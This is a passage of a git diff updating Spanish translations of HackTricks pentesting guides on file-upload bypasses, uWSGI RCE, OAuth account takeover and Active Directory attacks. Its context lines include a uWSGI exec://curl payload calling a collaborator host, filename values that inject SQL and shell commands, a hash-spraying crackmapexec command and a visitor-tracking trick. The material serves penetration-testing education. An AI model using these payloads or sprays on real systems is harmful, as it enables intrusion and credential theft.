+Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y agregando .png # Sube el archivo y verifica la respuesta cuántos caracteres permite. Digamos 236 python -c 'print "A" * 232' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @@ -77,7 +77,7 @@ AAA<--SNIP 232 A-->AAA.php.png ### Otros trucos a verificar - Encuentra una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión). -- Encuentra una vulnerabilidad de **Inclusión de Archivos Local** para ejecutar el backdoor. +- Encuentra una vulnerabilidad de **Inclusión de Archivos Locales** para ejecutar el backdoor. - **Posible divulgación de información**: 1. Sube **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre** 2. Sube un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe** @@ -104,7 +104,7 @@ Si puedes subir un archivo XML en un servidor Jetty, puedes obtener [RCE porque ## **uWSGI RCE** -Para una exploración detallada de esta vulnerabilidad, consulta la investigación original: [Explotación de RCE en uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Para una exploración detallada de esta vulnerabilidad, consulta la investigación original: [Explotación de uWSGI RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). Las vulnerabilidades de Ejecución Remota de Comandos (RCE) pueden ser explotadas en servidores uWSGI si uno tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI aprovechan una sintaxis específica para incorporar variables "mágicas", marcadores de posición y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo la lectura de datos de la salida estándar de un proceso. Esta característica puede ser manipulada para fines nefastos como Ejecución Remota de Comandos o Escritura/lectura de Archivos Arbitrarios cuando se procesa un archivo de configuración `.ini`. @@ -126,7 +126,7 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -La ejecución de la carga útil ocurre durante el análisis del archivo de configuración. Para que la configuración se active y se analice, el proceso de uWSGI debe reiniciarse (potencialmente después de un fallo o debido a un ataque de Denegación de Servicio) o el archivo debe configurarse para recargarse automáticamente. La función de recarga automática, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios. +La ejecución de la carga útil ocurre durante el análisis del archivo de configuración. Para que la configuración se active y se analice, el proceso de uWSGI debe reiniciarse (potencialmente después de un fallo o debido a un ataque de Denegación de Servicio) o el archivo debe configurarse para que se recargue automáticamente. La función de recarga automática, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios. Es crucial entender la naturaleza laxa del análisis del archivo de configuración de uWSGI. Específicamente, la carga útil discutida puede insertarse en un archivo binario (como una imagen o PDF), ampliando aún más el alcance de la explotación potencial. @@ -156,22 +156,22 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Tenga en cuenta que **otra opción** que puede estar pensando para eludir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial eluda la verificación y luego wget descargue el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté utilizando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**. +Tenga en cuenta que **otra opción** que puede estar pensando para eludir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial eludirá la verificación y luego wget descargará el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté utilizando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**. ## Herramientas -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) es una herramienta poderosa diseñada para ayudar a los Pentesters y Cazadores de Bugs en la prueba de mecanismos de carga de archivos. Aprovecha varias técnicas de recompensas por errores para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web. +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) es una herramienta poderosa diseñada para ayudar a los Pentesters y Cazadores de Bugs a probar mecanismos de carga de archivos. Aprovecha varias técnicas de recompensas por errores para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web. ## De la carga de archivos a otras vulnerabilidades -- Establezca **filename** en `../../../tmp/lol.png` y trate de lograr un **traversal de ruta** +- Establezca **filename** en `../../../tmp/lol.png` y trate de lograr un **path traversal** - Establezca **filename** en `sleep(10)-- -.jpg` y puede que logre una **inyección SQL** - Establezca **filename** en `` para lograr un XSS - Establezca **filename** en `; sleep 10;` para probar alguna inyección de comandos (más [trucos de inyección de comandos aquí](../command-injection.md)) - [**XSS** en la carga de archivos de imagen (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) -- **JS** archivo **carga** + **XSS** = [**explotación de Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) +- **JS** archivo **upload** + **XSS** = [**explotación de Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) - [**XXE en la carga de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload) -- [**Redirección abierta** a través de la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files) +- [**Open Redirect** a través de la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files) - Pruebe **diferentes cargas útiles svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\* - [Famosa vulnerabilidad **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) - Si puede **indicar al servidor web que capture una imagen de una URL**, podría intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/index.html). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podría indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**. diff --git a/src/pentesting-web/oauth-to-account-takeover.md b/src/pentesting-web/oauth-to-account-takeover.md index 9a82682b7..282c77845 100644 --- a/src/pentesting-web/oauth-to-account-takeover.md +++ b/src/pentesting-web/oauth-to-account-takeover.md @@ -50,7 +50,7 @@ POST /oauth/access_token Host: socialmedia.com ...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"} ``` -6. Finalmente, el proceso concluye cuando https://example.com emplea tu `access_token` para hacer una llamada a la API de Social Media para acceder +6. Finalmente, el proceso concluye cuando https://example.com emplea tu `access_token` para hacer una llamada API a Social Media para acceder ## Vulnerabilidades @@ -66,7 +66,7 @@ Para aquellos que apuntan a un servidor OpenID, el punto final de descubrimiento ### XSS en la implementación de redirección -Como se menciona en este informe de bug bounty [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), podría ser posible que la **URL de redirección se esté reflejando en la respuesta** del servidor después de que el usuario se autentique, siendo **vulnerable a XSS**. Carga útil posible para probar: +Como se menciona en este informe de recompensas por errores [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), podría ser posible que la **URL de redirección se esté reflejando en la respuesta** del servidor después de que el usuario se autentique, siendo **vulnerable a XSS**. Carga útil posible para probar: ``` https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard

test

``` @@ -106,19 +106,19 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au ``` ### Referer Header leaking Code + State -Una vez que el cliente tiene el **code and state**, si está **reflejado dentro del Referer header** cuando navega a una página diferente, entonces es vulnerable. +Una vez que el cliente tiene el **código y el estado**, si está **reflejado dentro del encabezado Referer** cuando navega a una página diferente, entonces es vulnerable. ### Access Token Stored in Browser History -Ve al **browser history y verifica si el access token está guardado allí**. +Ve al **historial del navegador y verifica si el access token está guardado allí**. ### Everlasting Authorization Code -El **authorization code debería vivir solo por un tiempo para limitar la ventana de tiempo en la que un atacante puede robarlo y usarlo**. +El **código de autorización debería vivir solo por un tiempo para limitar la ventana de tiempo en la que un atacante puede robarlo y usarlo**. ### Authorization/Refresh Token not bound to client -Si puedes obtener el **authorization code y usarlo con un cliente diferente, entonces puedes tomar el control de otras cuentas**. +Si puedes obtener el **código de autorización y usarlo con un cliente diferente, entonces puedes tomar el control de otras cuentas**. ### Happy Paths, XSS, Iframes & Post Messages to leak code & state values @@ -183,7 +183,7 @@ Según [**esta publicación de blog**](https://cybxis.medium.com/a-bypass-on-git ### ATO en página web redirigiendo basado en redirección abierta al referer -Este [**blogpost**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) comenta cómo fue posible abusar de un **redireccionamiento abierto** al valor del **referer** para abusar de OAuth para ATO. El ataque fue: +Esta [**publicación de blog**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) comenta cómo fue posible abusar de un **redireccionamiento abierto** al valor del **referer** para abusar de OAuth para ATO. El ataque fue: 1. La víctima accede a la página web del atacante 2. La víctima abre el enlace malicioso y un opener inicia el flujo de Google OAuth con `response_type=id_token,code&prompt=none` como parámetros adicionales usando como **referer el sitio web del atacante**. @@ -213,7 +213,7 @@ El Registro Dinámico de Clientes en OAuth sirve como un vector menos obvio pero ## Condiciones de Carrera de Proveedores OAuth -Si la plataforma que estás probando es un proveedor OAuth [**lee esto para probar posibles Condiciones de Carrera**](race-condition.md). +Si la plataforma que estás probando es un proveedor de OAuth [**lee esto para probar posibles Condiciones de Carrera**](race-condition.md). ## Referencias diff --git a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md index 348a16bfa..2fef9d46c 100644 --- a/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md +++ b/src/pentesting-web/xss-cross-site-scripting/other-js-tricks.md @@ -348,7 +348,7 @@ return String(this) /* Hidden commment */ })() ``` -## Escape de Sandbox - Recuperando el objeto window +## Sandbox Escape - Recuperando el objeto window El objeto Window permite acceder a funciones definidas globalmente como alert o eval. ```javascript diff --git a/src/todo/cookies-policy.md b/src/todo/cookies-policy.md index 15f6acb6a..d05bbc7c3 100644 --- a/src/todo/cookies-policy.md +++ b/src/todo/cookies-policy.md @@ -22,7 +22,7 @@ Las cookies son pequeños archivos de texto que se almacenan en tu computadora o Usamos cookies en nuestros sitios web para los siguientes propósitos: 1. Cookies esenciales: Estas cookies son necesarias para la funcionalidad básica de nuestros sitios web, como habilitar la autenticación de usuarios, mantener la seguridad y recordar tus preferencias. -2. Cookies de rendimiento: Estas cookies nos ayudan a entender cómo los visitantes interactúan con nuestros sitios web, al recopilar y reportar información de manera anónima. Esto nos permite mejorar el rendimiento de nuestro sitio web y la experiencia del usuario. +2. Cookies de rendimiento: Estas cookies nos ayudan a entender cómo los visitantes interactúan con nuestros sitios web, al recopilar y reportar información de forma anónima. Esto nos permite mejorar el rendimiento de nuestro sitio web y la experiencia del usuario. 3. Cookies de funcionalidad: Estas cookies permiten que nuestros sitios web recuerden las elecciones que haces, como tu idioma o región, para proporcionar una experiencia más personalizada. 4. Cookies de publicidad/segmentación: Estas cookies se utilizan para entregar anuncios relevantes y comunicaciones de marketing basadas en tus intereses, historial de navegación e interacciones con nuestros sitios web. diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index d892b63bb..1f461c257 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -93,7 +93,7 @@ No encontrarás a HackTricks lleno de anuncios molestos como otros blogs con muc Ten en cuenta que tener enlaces a tu página en HackTricks: - Mejora tu **SEO** -- El contenido se **traduce a más de 15 idiomas**, lo que permite que más personas accedan a este contenido +- El contenido se **traduce a más de 15 idiomas** lo que permite que más personas accedan a este contenido - **HackTricks anima** a las personas a **revisar tu página** (varias personas nos han mencionado que desde que alguna de sus páginas está en HackTricks reciben más visitas) Sin embargo, si aún deseas que el contenido de tu blog sea eliminado de HackTricks, solo háznoslo saber y definitivamente **eliminaremos todos los enlaces a tu blog**, y cualquier contenido basado en él. diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index 239776df2..80df8ff49 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -16,13 +16,13 @@ Los conceptos clave dentro de **Active Directory** incluyen: 4. **Árbol** – Un agrupamiento de dominios que comparten un dominio raíz común. 5. **Bosque** – La cúspide de la estructura organizativa en Active Directory, compuesta por varios árboles con **relaciones de confianza** entre ellos. -**Active Directory Domain Services (AD DS)** abarca una gama de servicios críticos para la gestión y comunicación centralizadas dentro de una red. Estos servicios comprenden: +**Active Directory Domain Services (AD DS)** abarca una gama de servicios críticos para la gestión y comunicación centralizada dentro de una red. Estos servicios comprenden: 1. **Servicios de Dominio** – Centraliza el almacenamiento de datos y gestiona las interacciones entre **usuarios** y **dominios**, incluyendo funcionalidades de **autenticación** y **búsqueda**. 2. **Servicios de Certificado** – Supervisa la creación, distribución y gestión de **certificados digitales** seguros. 3. **Servicios de Directorio Ligero** – Soporta aplicaciones habilitadas para directorios a través del **protocolo LDAP**. 4. **Servicios de Federación de Directorio** – Proporciona capacidades de **inicio de sesión único** para autenticar usuarios a través de múltiples aplicaciones web en una sola sesión. -5. **Gestión de Derechos** – Ayuda a proteger material con derechos de autor regulando su distribución y uso no autorizados. +5. **Gestión de Derechos** – Ayuda a proteger material con derechos de autor regulando su distribución y uso no autorizado. 6. **Servicio DNS** – Crucial para la resolución de **nombres de dominio**. Para una explicación más detallada, consulta: [**TechTerms - Definición de Active Directory**](https://techterms.com/definition/active_directory) @@ -69,7 +69,7 @@ Si solo tienes acceso a un entorno AD pero no tienes credenciales/sesiones, podr - Recolectar credenciales **exponiendo** [**servicios UPnP falsos con evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html): - Extraer nombres de usuario/nombres de documentos internos, redes sociales, servicios (principalmente web) dentro de los entornos de dominio y también de los disponibles públicamente. -- Si encuentras los nombres completos de los trabajadores de la empresa, podrías intentar diferentes **convenciones de nombres de usuario de AD** (**[lee esto](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Las convenciones más comunes son: _NombreApellido_, _Nombre.Apellido_, _NamSur_ (3 letras de cada uno), _Nam.Sur_, _NSurname_, _N.Apellido_, _ApellidoNombre_, _Apellido.Nombre_, _ApellidoN_, _Apellido.N_, 3 _letras aleatorias y 3 números aleatorios_ (abc123). +- Si encuentras los nombres completos de los trabajadores de la empresa, podrías intentar diferentes **convenciones de nombres de usuario de AD** (**[lee esto](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Las convenciones más comunes son: _NombreApellido_, _Nombre.Apellido_, _NamSur_ (3 letras de cada uno), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _letras aleatorias y 3 números aleatorios_ (abc123). - Herramientas: - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username) - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy) @@ -111,8 +111,8 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Ok, así que sabes que ya tienes un nombre de usuario válido pero no contraseñas... Entonces intenta: -- [**ASREPRoast**](asreproast.md): Si un usuario **no tiene** el atributo _DONT_REQ_PREAUTH_ puedes **solicitar un mensaje AS_REP** para ese usuario que contendrá algunos datos encriptados por una derivación de la contraseña del usuario. -- [**Password Spraying**](password-spraying.md): Intentemos con las **contraseñas más comunes** con cada uno de los usuarios descubiertos, tal vez algún usuario esté usando una mala contraseña (¡ten en cuenta la política de contraseñas!). +- [**ASREPRoast**](asreproast.md): Si un usuario **no tiene** el atributo _DONT_REQ_PREAUTH_, puedes **solicitar un mensaje AS_REP** para ese usuario que contendrá algunos datos encriptados por una derivación de la contraseña del usuario. +- [**Password Spraying**](password-spraying.md): Intentemos con las contraseñas más **comunes** con cada uno de los usuarios descubiertos, tal vez algún usuario esté usando una mala contraseña (¡ten en cuenta la política de contraseñas!). - Ten en cuenta que también puedes **rociar servidores OWA** para intentar acceder a los servidores de correo de los usuarios. {{#ref}} @@ -129,11 +129,11 @@ Podrías ser capaz de **obtener** algunos **hashes** de desafío para romper **e ### Relevo NTML -Si has logrado enumerar el directorio activo tendrás **más correos electrónicos y una mejor comprensión de la red**. Podrías forzar ataques de relevo NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* para obtener acceso al entorno de AD. +Si has logrado enumerar el directorio activo, tendrás **más correos electrónicos y una mejor comprensión de la red**. Podrías forzar ataques de relevo NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* para obtener acceso al entorno de AD. ### Robar Credenciales NTLM -Si puedes **acceder a otras PC o recursos compartidos** con el **usuario nulo o invitado** podrías **colocar archivos** (como un archivo SCF) que si se acceden de alguna manera **activarán una autenticación NTML contra ti** para que puedas **robar** el **desafío NTLM** y romperlo: +Si puedes **acceder a otras PC o recursos compartidos** con el **usuario nulo o invitado**, podrías **colocar archivos** (como un archivo SCF) que, si se accede de alguna manera, **activarán una autenticación NTML contra ti** para que puedas **robar** el **desafío NTLM** y romperlo: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md @@ -143,7 +143,7 @@ Si puedes **acceder a otras PC o recursos compartidos** con el **usuario nulo o Para esta fase necesitas haber **comprometido las credenciales o una sesión de una cuenta de dominio válida.** Si tienes algunas credenciales válidas o una shell como usuario de dominio, **deberías recordar que las opciones dadas antes siguen siendo opciones para comprometer a otros usuarios**. -Antes de comenzar la enumeración autenticada deberías saber cuál es el **problema del doble salto de Kerberos.** +Antes de comenzar la enumeración autenticada, deberías saber cuál es el **problema del doble salto de Kerberos.** {{#ref}} kerberos-double-hop-problem.md @@ -153,16 +153,16 @@ kerberos-double-hop-problem.md Haber comprometido una cuenta es un **gran paso para comenzar a comprometer todo el dominio**, porque podrás comenzar la **Enumeración de Active Directory:** -Respecto a [**ASREPRoast**](asreproast.md) ahora puedes encontrar cada posible usuario vulnerable, y respecto a [**Password Spraying**](password-spraying.md) puedes obtener una **lista de todos los nombres de usuario** y probar la contraseña de la cuenta comprometida, contraseñas vacías y nuevas contraseñas prometedoras. +Respecto a [**ASREPRoast**](asreproast.md), ahora puedes encontrar cada posible usuario vulnerable, y respecto a [**Password Spraying**](password-spraying.md), puedes obtener una **lista de todos los nombres de usuario** y probar la contraseña de la cuenta comprometida, contraseñas vacías y nuevas contraseñas prometedoras. - Podrías usar el [**CMD para realizar un reconocimiento básico**](../basic-cmd-for-pentesters.md#domain-info) -- También puedes usar [**powershell para reconocimiento**](../basic-powershell-for-pentesters/index.html) que será más sigiloso +- También puedes usar [**powershell para reconocimiento**](../basic-powershell-for-pentesters/index.html), que será más sigiloso - También puedes [**usar powerview**](../basic-powershell-for-pentesters/powerview.md) para extraer información más detallada -- Otra herramienta increíble para reconocimiento en un directorio activo es [**BloodHound**](bloodhound.md). No es **muy sigiloso** (dependiendo de los métodos de recolección que uses), pero **si no te importa** eso, deberías probarlo. Encuentra dónde los usuarios pueden RDP, encuentra rutas a otros grupos, etc. +- Otra herramienta increíble para reconocimiento en un directorio activo es [**BloodHound**](bloodhound.md). No es **muy sigiloso** (dependiendo de los métodos de recolección que uses), pero **si no te importa** eso, definitivamente deberías probarlo. Encuentra dónde los usuarios pueden RDP, encuentra rutas a otros grupos, etc. - **Otras herramientas automatizadas de enumeración de AD son:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** - [**Registros DNS del AD**](ad-dns-records.md) ya que podrían contener información interesante. - Una **herramienta con GUI** que puedes usar para enumerar el directorio es **AdExplorer.exe** del **SysInternal** Suite. -- También puedes buscar en la base de datos LDAP con **ldapsearch** para buscar credenciales en los campos _userPassword_ & _unixUserPassword_, o incluso para _Description_. cf. [Contraseña en el comentario de usuario de AD en PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) para otros métodos. +- También puedes buscar en la base de datos LDAP con **ldapsearch** para buscar credenciales en los campos _userPassword_ y _unixUserPassword_, o incluso para _Description_. cf. [Contraseña en el comentario de usuario de AD en PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) para otros métodos. - Si estás usando **Linux**, también podrías enumerar el dominio usando [**pywerview**](https://github.com/the-useless-one/pywerview). - También podrías intentar herramientas automatizadas como: - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch) @@ -185,11 +185,11 @@ kerberoast.md ### Conexión remota (RDP, SSH, FTP, Win-RM, etc) -Una vez que hayas obtenido algunas credenciales podrías verificar si tienes acceso a alguna **máquina**. Para ello, podrías usar **CrackMapExec** para intentar conectarte a varios servidores con diferentes protocolos, de acuerdo a tus escaneos de puertos. +Una vez que hayas obtenido algunas credenciales, podrías verificar si tienes acceso a alguna **máquina**. Para ello, podrías usar **CrackMapExec** para intentar conectarte a varios servidores con diferentes protocolos, de acuerdo a tus escaneos de puertos. ### Escalación de privilegios local -Si has comprometido credenciales o una sesión como un usuario regular de dominio y tienes **acceso** con este usuario a **cualquier máquina en el dominio** deberías intentar encontrar la manera de **escalar privilegios localmente y buscar credenciales**. Esto se debe a que solo con privilegios de administrador local podrás **volcar hashes de otros usuarios** en memoria (LSASS) y localmente (SAM). +Si has comprometido credenciales o una sesión como un usuario regular de dominio y tienes **acceso** con este usuario a **cualquier máquina en el dominio**, deberías intentar encontrar la manera de **escalar privilegios localmente y buscar credenciales**. Esto se debe a que solo con privilegios de administrador local podrás **volcar hashes de otros usuarios** en memoria (LSASS) y localmente (SAM). Hay una página completa en este libro sobre [**escalación de privilegios local en Windows**](../windows-local-privilege-escalation/index.html) y una [**lista de verificación**](../checklist-windows-privilege-escalation.md). Además, no olvides usar [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite). @@ -263,7 +263,7 @@ pass-the-ticket.md ### Reutilización de Credenciales -Si tienes el **hash** o **contraseña** de un **administrador local**, deberías intentar **iniciar sesión localmente** en otras **PCs** con ello. +Si tienes el **hash** o **contraseña** de un **administrador local**, deberías intentar **iniciar sesión localmente** en otras **PCs** con él. ```bash # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine @@ -274,8 +274,8 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c ### Abuso de MSSQL y enlaces de confianza -Si un usuario tiene privilegios para **acceder a instancias de MSSQL**, podría ser capaz de usarlo para **ejecutar comandos** en el host de MSSQL (si se ejecuta como SA), **robar** el **hash** de NetNTLM o incluso realizar un **ataque** de **retransmisión**.\ -Además, si una instancia de MSSQL es confiable (enlace de base de datos) por otra instancia de MSSQL. Si el usuario tiene privilegios sobre la base de datos confiable, podrá **usar la relación de confianza para ejecutar consultas también en la otra instancia**. Estas confianzas pueden encadenarse y en algún momento el usuario podría encontrar una base de datos mal configurada donde puede ejecutar comandos.\ +Si un usuario tiene privilegios para **acceder a instancias de MSSQL**, podría ser capaz de usarlo para **ejecutar comandos** en el host de MSSQL (si se ejecuta como SA), **robar** el **hash** de NetNTLM o incluso realizar un **ataque** de **relevo**.\ +Además, si una instancia de MSSQL es confiable (enlace de base de datos) por otra instancia de MSSQL. Si el usuario tiene privilegios sobre la base de datos confiable, podrá **utilizar la relación de confianza para ejecutar consultas también en la otra instancia**. Estas confianzas pueden encadenarse y en algún momento el usuario podría encontrar una base de datos mal configurada donde puede ejecutar comandos.\ **Los enlaces entre bases de datos funcionan incluso a través de confianzas de bosque.** {{#ref}} @@ -295,7 +295,7 @@ unconstrained-delegation.md ### Delegación restringida Si un usuario o computadora está permitido para "Delegación Restringida", podrá **impersonar a cualquier usuario para acceder a algunos servicios en una computadora**.\ -Entonces, si **comprometes el hash** de este usuario/computadora, podrás **impersonar a cualquier usuario** (incluso administradores de dominio) para acceder a algunos servicios. +Luego, si **comprometes el hash** de este usuario/computadora, podrás **impersonar a cualquier usuario** (incluso administradores de dominio) para acceder a algunos servicios. {{#ref}} constrained-delegation.md @@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md ### Grupo AdminSDHolder -El objeto **AdminSDHolder** en Active Directory asegura la seguridad de los **grupos privilegiados** (como Administradores de Dominio y Administradores de Empresa) aplicando una **Lista de Control de Acceso (ACL)** estándar en estos grupos para prevenir cambios no autorizados. Sin embargo, esta característica puede ser explotada; si un atacante modifica la ACL de AdminSDHolder para dar acceso total a un usuario regular, ese usuario obtiene un control extenso sobre todos los grupos privilegiados. Esta medida de seguridad, destinada a proteger, puede por lo tanto volverse en contra, permitiendo un acceso no autorizado a menos que se supervise de cerca. +El objeto **AdminSDHolder** en Active Directory asegura la seguridad de los **grupos privilegiados** (como Administradores de Dominio y Administradores de Empresa) aplicando una **Lista de Control de Acceso (ACL)** estándar en estos grupos para prevenir cambios no autorizados. Sin embargo, esta característica puede ser explotada; si un atacante modifica la ACL de AdminSDHolder para otorgar acceso total a un usuario regular, ese usuario obtiene un control extenso sobre todos los grupos privilegiados. Esta medida de seguridad, destinada a proteger, puede por lo tanto volverse en contra, permitiendo un acceso no autorizado a menos que se supervise de cerca. [**Más información sobre el grupo AdminDSHolder aquí.**](privileged-groups-and-token-privileges.md#adminsdholder-group) @@ -506,7 +506,7 @@ Microsoft ve el **Bosque** como el límite de seguridad. Esto implica que **comp Una [**confianza de dominio**]() es un mecanismo de seguridad que permite a un usuario de un **dominio** acceder a recursos en otro **dominio**. Esencialmente, crea un vínculo entre los sistemas de autenticación de los dos dominios, permitiendo que las verificaciones de autenticación fluyan sin problemas. Cuando los dominios establecen una confianza, intercambian y retienen **claves** específicas dentro de sus **Controladores de Dominio (DCs)**, que son cruciales para la integridad de la confianza. -En un escenario típico, si un usuario pretende acceder a un servicio en un **dominio de confianza**, primero debe solicitar un ticket especial conocido como un **TGT inter-realm** de su propio DC de dominio. Este TGT está cifrado con una **clave** compartida que ambos dominios han acordado. El usuario luego presenta este TGT al **DC del dominio de confianza** para obtener un ticket de servicio (**TGS**). Tras la validación exitosa del TGT inter-realm por parte del DC del dominio de confianza, emite un TGS, otorgando al usuario acceso al servicio. +En un escenario típico, si un usuario pretende acceder a un servicio en un **dominio de confianza**, primero debe solicitar un ticket especial conocido como un **TGT inter-realm** de su propio DC de dominio. Este TGT está cifrado con una **clave** compartida que ambos dominios han acordado. Luego, el usuario presenta este TGT al **DC del dominio de confianza** para obtener un ticket de servicio (**TGS**). Tras la validación exitosa del TGT inter-realm por parte del DC del dominio de confianza, emite un TGS, otorgando al usuario acceso al servicio. **Pasos**: @@ -514,9 +514,9 @@ En un escenario típico, si un usuario pretende acceder a un servicio en un **do 2. DC1 emite un nuevo TGT si el cliente se autentica con éxito. 3. El cliente luego solicita un **TGT inter-realm** de DC1, que es necesario para acceder a recursos en **Dominio 2**. 4. El TGT inter-realm está cifrado con una **clave de confianza** compartida entre DC1 y DC2 como parte de la confianza de dominio bidireccional. -5. El cliente lleva el TGT inter-realm al **Controlador de Dominio (DC2)** de Dominio 2. -6. DC2 verifica el TGT inter-realm utilizando su clave de confianza compartida y, si es válido, emite un **Ticket Granting Service (TGS)** para el servidor en Dominio 2 al que el cliente desea acceder. -7. Finalmente, el cliente presenta este TGS al servidor, que está cifrado con el hash de la cuenta del servidor, para obtener acceso al servicio en Dominio 2. +5. El cliente lleva el TGT inter-realm 